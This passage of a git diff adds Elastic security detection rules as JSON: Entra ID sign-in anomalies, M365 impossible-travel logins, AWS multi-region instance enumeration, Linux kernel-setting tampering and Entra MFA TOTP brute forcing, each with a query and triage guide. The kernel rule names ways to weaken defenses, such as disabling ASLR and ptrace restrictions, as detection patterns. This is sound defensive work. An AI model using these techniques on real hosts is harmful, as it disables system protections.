"Esql.azure_signinlogs_properties_device_detail_browser_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_operating_system_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_is_interactive_values", + "type": "boolean" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_owner_tenant_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_level_aggregated_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_unique_token_identifier_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.is_browser_case_max", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.source_address_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_address_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_city_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_region_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "375132c6-25d5-11f0-8745-f661ea17fbcd", + "setup": "#### Required Microsoft Entra ID Sign-In Logs\nThis rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration.\n", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Resources: Investigation Guide", + "Tactic: Initial Access" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + }, + { + "id": "T1566", + "name": "Phishing", + "reference": "https://attack.mitre.org/techniques/T1566/", + "subtechnique": [ + { + "id": "T1566.002", + "name": "Spearphishing Link", + "reference": "https://attack.mitre.org/techniques/T1566/002/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1528", + "name": "Steal Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1528/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "375132c6-25d5-11f0-8745-f661ea17fbcd_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_8.json b/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_8.json new file mode 100644 index 00000000000..6df228132fd --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_8.json @@ -0,0 +1,142 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location.", + "false_positives": [ + "False positives may occur when users are using a VPN or when users are traveling to different locations for legitimate purposes." + ], + "from": "now-15m", + "index": [ + "logs-o365.audit-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "organization.id", + "o365.audit.UserId", + "o365.audit.ActorIpAddress", + "o365.audit.ApplicationId", + "o365.audit.ExtendedProperties.RequestType", + "o365.audit.Target.ID", + "source.geo.country_name" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "M365 Identity Login from Impossible Travel Location", + "note": "## Triage and analysis\n\n### Investigating M365 Identity Login from Impossible Travel Location\n\nMicrosoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed.\n- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity.\n- Review the ISP information for the login attempts to identify any unusual or suspicious providers.\n- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior.\n- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.)\n- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives.\n\n### False positive analysis\n\n- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt.\n- Mobile access may also result in false positives, as users may log in from various locations while on the go.\n\n### Response and remediation\n\n- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior.\n- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations.\n- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so.\n- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity.\n- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern.\n", + "query": "event.dataset:o365.audit and\n event.provider:AzureActiveDirectory and\n event.action:UserLoggedIn and\n event.outcome:success and\n o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and\n o365.audit.UserId:(* and not \"Not Available\") and\n source.geo.region_iso_code:* and\n not o365.audit.ApplicationId:(\n 29d9ed98-a469-4536-ade2-f981bc1d605e or\n 38aa3b87-a06d-4817-b275-7a316988d93b or\n a809996b-059e-42e2-9866-db24b99a9782\n ) and not o365.audit.ExtendedProperties.RequestType:(\n \"Cmsi:Cmsi\" or\n \"Consent:Set\" or\n \"Login:reprocess\" or\n \"Login:resume\" or\n \"MessagePrompt:MessagePrompt\" or\n \"SAS:EndAuth\"\n )\n", + "references": [ + "https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel-" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.ApplicationId", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.ExtendedProperties.RequestType", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.Target.Type", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.UserId", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_iso_code", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Threat Detection", + "Use Case: Identity and Access Audit", + "Tactic: Initial Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + } + ], + "threshold": { + "cardinality": [ + { + "field": "source.geo.country_name", + "value": 2 + } + ], + "field": [ + "o365.audit.UserId" + ], + "value": 1 + }, + "timestamp_override": "event.ingested", + "type": "threshold", + "version": 8 + }, + "id": "3896d4c0-6ad1-11ef-8c7b-f661ea17fbcc_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_6.json new file mode 100644 index 00000000000..e3600be8eec --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/393ef120-63d1-11ef-8e38-f661ea17fbce_6.json @@ -0,0 +1,96 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when a single AWS resource is making `DescribeInstances` API calls in more than 10 regions within a 30-second window. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure.", + "false_positives": [ + "Legitimate use of the `DescribeInstances` API call by an AWS resource that requires information about instances in multiple regions.", + "Scheduled tasks or scripts that require information about instances in multiple regions." + ], + "from": "now-9m", + "investigation_fields": { + "field_names": [ + "aws.cloudtrail.user_identity.arn", + "target_time_window", + "region_count", + "window_count" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS EC2 Multi-Region DescribeInstances API Calls", + "note": "## Triage and analysis\n\n### Investigating AWS EC2 Multi-Region DescribeInstances API Calls\n\nThis rule detects instances where a single AWS resource makes `DescribeInstances` API calls in over 10 regions within a 30-second window. This could indicate an adversary using compromised credentials or an exploited resource to enumerate AWS infrastructure across multiple regions. Attackers often leverage multi-region enumeration to assess the overall cloud environment and find potential targets for further exploitation.\n\n#### Possible Investigation Steps\n\n- **Identify the Resource and Actor**:\n - **Actor ARN**: Check `aws.cloudtrail.user_identity.arn` to determine the exact identity performing the enumeration. Validate if the user is expected to perform region-wide `DescribeInstances` actions across multiple regions or if it seems unusual.\n - **Account and Role Details**: Examine `cloud.account.id` and `aws.cloudtrail.user_identity.session_context.session_issuer` for information about the AWS account and specific role associated with the action.\n\n- **Analyze API Call Patterns**:\n - **Frequency and Scope**: Review `cloud.region` field and confirm if this specific resource commonly performs `DescribeInstances` calls across multiple regions.\n - **Time Window Context**: Compare the timing of the API calls within the `target_time_window` to determine if this burst pattern aligns with expected system usage or is potentially malicious.\n\n- **Check User Agent and Tooling**:\n - **Source and User Agent**: Verify `user_agent.original` to determine if the request was made through expected tooling (e.g., AWS CLI or SDK) or a third-party tool that might indicate non-standard access.\n - **Source IP Address**: Look into `source.address` to identify the origin of the calls. Unusual IP addresses, especially those outside expected ranges, may indicate compromised access.\n\n- **Evaluate for Potential Reconnaissance Behavior**:\n - **Account and Region Enumeration**: Adversaries may use region-wide `DescribeInstances` requests to discover resources within an account across different regions. Confirm if this access aligns with operational practices or represents excessive access.\n - **Permissions and Roles**: Investigate the permissions associated with the user role. Excessive permissions on a compromised role may allow broader enumeration, which should be restricted.\n\n- **Review Related CloudTrail Events**:\n - **Additional Describe or List Actions**: Identify any associated `Describe` or `List` API calls that may indicate further enumeration of other AWS services within the same timeframe.\n - **Potential Preceding Events**: Look for preceding login or access events from the same actor, as these may indicate potential credential compromise or unauthorized escalation of privileges.\n\n### False Positive Analysis\n\n- **Expected Enumeration**: Certain administrative or automation scripts may conduct broad `DescribeInstances` API calls for inventory purposes. Review usage patterns or consult relevant teams to validate the purpose.\n- **Automated Cloud Management**: Some automated services may perform regional checks for compliance or backup operations. If this rule is triggered repeatedly by a known service, consider whitelisting or tuning accordingly.\n\n### Response and Remediation\n\n- **Review IAM Policies and Role Permissions**: Limit the permissions of roles associated with this resource, restricting unnecessary multi-region enumeration access.\n- **Enforce Least Privilege Access**: Ensure that permissions for DescribeInstances are tightly controlled and restricted to specific roles or accounts that require multi-region access.\n- **Increase Monitoring and Alerts**: Set up additional monitoring on this role or account for further signs of unauthorized activity or lateral movement attempts.\n- **Access Review**: Conduct a review of users and entities with `DescribeInstances` permissions, especially for multi-region capabilities, and ensure these permissions are necessary for their functions.\n\n### Additional Information\n\nFor further information on AWS `DescribeInstances` permissions and best practices, refer to the [AWS DescribeInstances API documentation](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html).\n", + "query": "from logs-aws.cloudtrail-*\n\n// filter for DescribeInstances API calls\n| where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"ec2.amazonaws.com\"\n and event.action == \"DescribeInstances\"\n\n// truncate the timestamp to a 30-second window\n| eval Esql.time_window_date_trunc = date_trunc(30 seconds, @timestamp)\n\n// keep only the relevant raw fields\n| keep Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn, cloud.region\n\n// count the number of unique regions and total API calls within the 30-second window\n| stats\n Esql.cloud_region_count_distinct = count_distinct(cloud.region),\n Esql.event_count = count(*)\n by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn\n\n// filter for resources making DescribeInstances API calls in more than 10 regions within the 30-second window\n| where Esql.cloud_region_count_distinct >= 10 and Esql.event_count >= 10\n\n// sort the results by time window in descending order\n| sort Esql.time_window_date_trunc desc\n", + "references": [ + "https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.cloud_region_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "393ef120-63d1-11ef-8e38-f661ea17fbce", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: AWS EC2", + "Resources: Investigation Guide", + "Use Case: Threat Detection", + "Tactic: Discovery" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1580", + "name": "Cloud Infrastructure Discovery", + "reference": "https://attack.mitre.org/techniques/T1580/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "393ef120-63d1-11ef-8e38-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3aff6ab1-18bd-427e-9d4c-c5732110c261_3.json b/packages/security_detection_engine/kibana/security_rule/3aff6ab1-18bd-427e-9d4c-c5732110c261_3.json new file mode 100644 index 00000000000..28540705214 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3aff6ab1-18bd-427e-9d4c-c5732110c261_3.json @@ -0,0 +1,137 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Kernel Feature Activity", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious Kernel Feature Activity\n\nKernel features in Linux systems are critical for maintaining security and stability. They control various system behaviors, such as memory randomization and process tracing. Adversaries may exploit these features to weaken defenses, for instance, by disabling address space layout randomization (ASLR) or enabling unrestricted process tracing. The detection rule identifies suspicious activities by monitoring command executions that modify or read kernel settings, focusing on unusual patterns or contexts that suggest malicious intent.\n\n### Possible investigation steps\n\n- Review the process command line to identify which specific kernel feature was accessed or modified, focusing on entries like kernel.randomize_va_space or kernel.yama.ptrace_scope.\n- Examine the parent process executable and name to determine the context in which the suspicious command was executed, checking for unusual or unauthorized parent processes.\n- Investigate the user account associated with the process execution to assess whether the activity aligns with expected behavior for that user.\n- Check for any recent changes in the /etc/sysctl.conf or /etc/sysctl.d/ directories that might indicate unauthorized modifications to kernel settings.\n- Analyze the system's process execution history to identify any patterns or sequences of commands that suggest a broader attack or compromise.\n- Correlate the alert with other security events or logs to determine if this activity is part of a larger attack campaign or isolated incident.\n\n### False positive analysis\n\n- System administrators or automated scripts may frequently modify kernel settings for legitimate purposes such as performance tuning or system maintenance. To handle these, identify and whitelist known administrative scripts or processes that regularly perform these actions.\n- Security tools or monitoring solutions might execute commands that read kernel settings as part of their normal operation. Review and exclude these tools from triggering alerts by adding them to an exception list based on their process names or command patterns.\n- Developers and testers might disable certain kernel features temporarily during debugging or testing phases. Coordinate with development teams to document these activities and exclude them from detection by specifying the relevant process names or command lines.\n- Some system management tools may use commands like sysctl to apply configuration changes across multiple systems. If these tools are verified as non-threatening, exclude their specific command patterns or parent processes from triggering the rule.\n- Regular system updates or configuration management processes might involve reading or modifying kernel settings. Identify these processes and add them to an exception list to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary.\n- Review and revert any unauthorized changes to kernel settings, such as ASLR, ptrace scope, or NMI watchdog, to their secure defaults using sysctl or by editing configuration files.\n- Conduct a thorough examination of the system for signs of compromise, including checking for unauthorized access, unusual processes, or modifications to critical files.\n- Restore the system from a known good backup if the integrity of the system is compromised and cannot be reliably remediated.\n- Implement additional monitoring and logging for kernel feature modifications to detect similar activities in the future, ensuring alerts are configured for immediate response.\n- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and correlation with other potential threats across the network.\n- Review and update security policies and configurations to prevent unauthorized kernel modifications, including enforcing stricter access controls and auditing procedures.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and\nprocess.command_line : (\n \"*/etc/sysctl.conf*\", \"*/etc/sysctl.d/*\", \"*/proc/sys/kernel/nmi_watchdog*\",\n \"*/proc/sys/vm/nr_hugepages*\", \"*/proc/sys/kernel/yama/ptrace_scope*\",\n \"*/proc/sys/kernel/randomize_va_space*\", \"*/proc/sys/vm/drop_caches*\",\n \"*/proc/sys/kernel/sysrq*\", \"*grsecurity*\", \"*exec-shield*\",\n \"*kernel.randomize_va_space*\", \"*kernel.yama.ptrace_scope*\",\n \"*kernel.nmi_watchdog*\", \"*vm.nr_hugepages*\", \"*vm.drop_caches*\",\n \"*kernel.sysrq*\"\n) and\n?process.parent.executable != null and \n(\n (process.name == \"tee\" and process.args like \"-*a*\") or // also detects --append\n (process.name == \"cat\" and not process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")) or\n (process.name == \"grep\" and process.args_count == 3 and not process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")) or\n (process.name == \"sysctl\" and process.args like (\"*-w*\", \"*--write*\", \"*=*\")) or\n (process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and process.args : \"*echo *\")\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args_count", + "type": "long" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "3aff6ab1-18bd-427e-9d4c-c5732110c261", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Discovery", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.006", + "name": "Indicator Blocking", + "reference": "https://attack.mitre.org/techniques/T1562/006/" + } + ] + }, + { + "id": "T1553", + "name": "Subvert Trust Controls", + "reference": "https://attack.mitre.org/techniques/T1553/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1082", + "name": "System Information Discovery", + "reference": "https://attack.mitre.org/techniques/T1082/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "3aff6ab1-18bd-427e-9d4c-c5732110c261_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_6.json new file mode 100644 index 00000000000..b644ade5506 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3fac01b2-b811-11ef-b25b-f661ea17fbce_6.json @@ -0,0 +1,189 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code.", + "false_positives": [ + "Based on the high-frequency threshold, it would be unlikely for a legitimate user to exceed the threshold for failed TOTP code attempts in a short time-span over multiple sessions." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID MFA TOTP Brute Force Attempts", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID MFA TOTP Brute Force Attempts\n\nThis rule detects brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. It identifies high-frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attempt to brute-force TOTP codes by generating several sessions and attempting to guess the correct code.\n\n#### Possible Investigation Steps:\n\n - Check the source addresses associated with the failed TOTP attempts.\n - Determine if the source IP address is consistent with the user\u2019s typical login locations.\n - Look for unusual geographic patterns or anomalous IP addresses (e.g., proxies, VPNs, or locations outside the user\u2019s normal activity).\n - Review the error code associated with the failed attempts. This can help identify if the failures are due to incorrect TOTP codes or other issues.\n - Verify that that auth metho reported is `OAth` as it indicates the use of TOTP codes.\n - Pivot into signin logs for the target user and check if auth via TOTP was successful which would indicate a successful brute force attempt.\n - Review conditional access policies applied to the user or group as reported by the sign-in logs.\n - Analyze the client application ID and display name to determine if the attempts are coming from a legitimate application or a potentially malicious script.\n - Adversaries may use legitimate FOCI applications to bypass security controls or make login attempts appear legitimate.\n - Review the resource ID access is being attempted against such as MyApps, Microsoft Graph, or other resources. This can help identify if the attempts are targeting specific applications or services.\n - The correlation IDs or session IDs can be used to trace the authentication attempts across different logs or systems. Note that for this specific behavior, unique session ID count is high and could be challenging to correlate.\n\n#### False Positive Analysis:\n\n - Verify if the failed attempts could result from the user\u2019s unfamiliarity with TOTP codes or issues with device synchronization.\n - Check if the user recently switched MFA methods or devices, which could explain multiple failures.\n - Determine if this is whitebox testing or a developer testing MFA integration.\n\n#### Response and Remediation:\n\n - If proven malicious, lock the affected account temporarily to prevent further unauthorized attempts.\n - Notify the user of suspicious activity and validate their access to the account.\n - Reset passwords and MFA settings for the affected user to prevent unauthorized access while communicating with the user.\n - Ensure conditional access policies are configured to monitor and restrict anomalous login behavior.\n - Consider a different MFA method or additional security controls to prevent future bypass attempts.\n - Implement additional monitoring to track high-frequency authentication failures across the environment.\n - Audit historical logs for similar patterns involving other accounts to identify broader threats.\n - Provide guidance on the secure use of MFA and the importance of recognizing and reporting suspicious activity.\n", + "query": "from logs-azure.signinlogs-* metadata _id, _version, _index\n\n| where\n // filter for Entra Sign-in Logs\n event.dataset == \"azure.signinlogs\"\n and azure.signinlogs.operation_name == \"Sign-in activity\"\n and azure.signinlogs.properties.user_type == \"Member\"\n\n // filter for MFA attempts with OATH conditional access attempts or TOTP\n and azure.signinlogs.properties.mfa_detail.auth_method == \"OATH verification code\"\n\n // filter on failures only from brute-force attempts\n and (\n (\n azure.signinlogs.result_signature == \"FAILURE\" and\n azure.signinlogs.result_description == \"Authentication failed during strong authentication request.\"\n ) or azure.signinlogs.properties.status.error_code == 500121\n )\n\n| stats\n Esql.event_count = count(*),\n Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id),\n Esql.source_address_values = values(source.address),\n Esql.azure_tenant_id_valuues = values(azure.tenant_id),\n Esql_priv.azure_identity_values = values(azure.signinlogs.identity),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol),\n Esql.azure_signinlogs_properties_client_app_used_values = values(azure.signinlogs.properties.client_app_used),\n Esql.azure_signinlogs_properties_client_credential_type_values = values(azure.signinlogs.properties.client_credential_type),\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_correlation_id_values = values(azure.signinlogs.properties.correlation_id),\n Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive),\n Esql.azure_signinlogs_properties_mfa_detail_auth_method_values = values(azure.signinlogs.properties.mfa_detail.auth_method),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_risk_detail_values = values(azure.signinlogs.properties.risk_detail),\n Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_original_request_id_values = values(azure.signinlogs.properties.original_request_id),\n Esql.user_id_values = values(user.id)\n by user.id\n\n| where Esql.event_count >= 20 and Esql.azure_signinlogs_properties_session_id_count_distinct >= 10\n\n| keep\n Esql.event_count,\n Esql.azure_signinlogs_properties_session_id_count_distinct,\n Esql.source_address_values,\n Esql.azure_tenant_id_valuues,\n Esql_priv.azure_identity_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_authentication_protocol_values,\n Esql.azure_signinlogs_properties_client_app_used_values,\n Esql.azure_signinlogs_properties_client_credential_type_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_correlation_id_values,\n Esql.azure_signinlogs_properties_is_interactive_values,\n Esql.azure_signinlogs_properties_mfa_detail_auth_method_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n 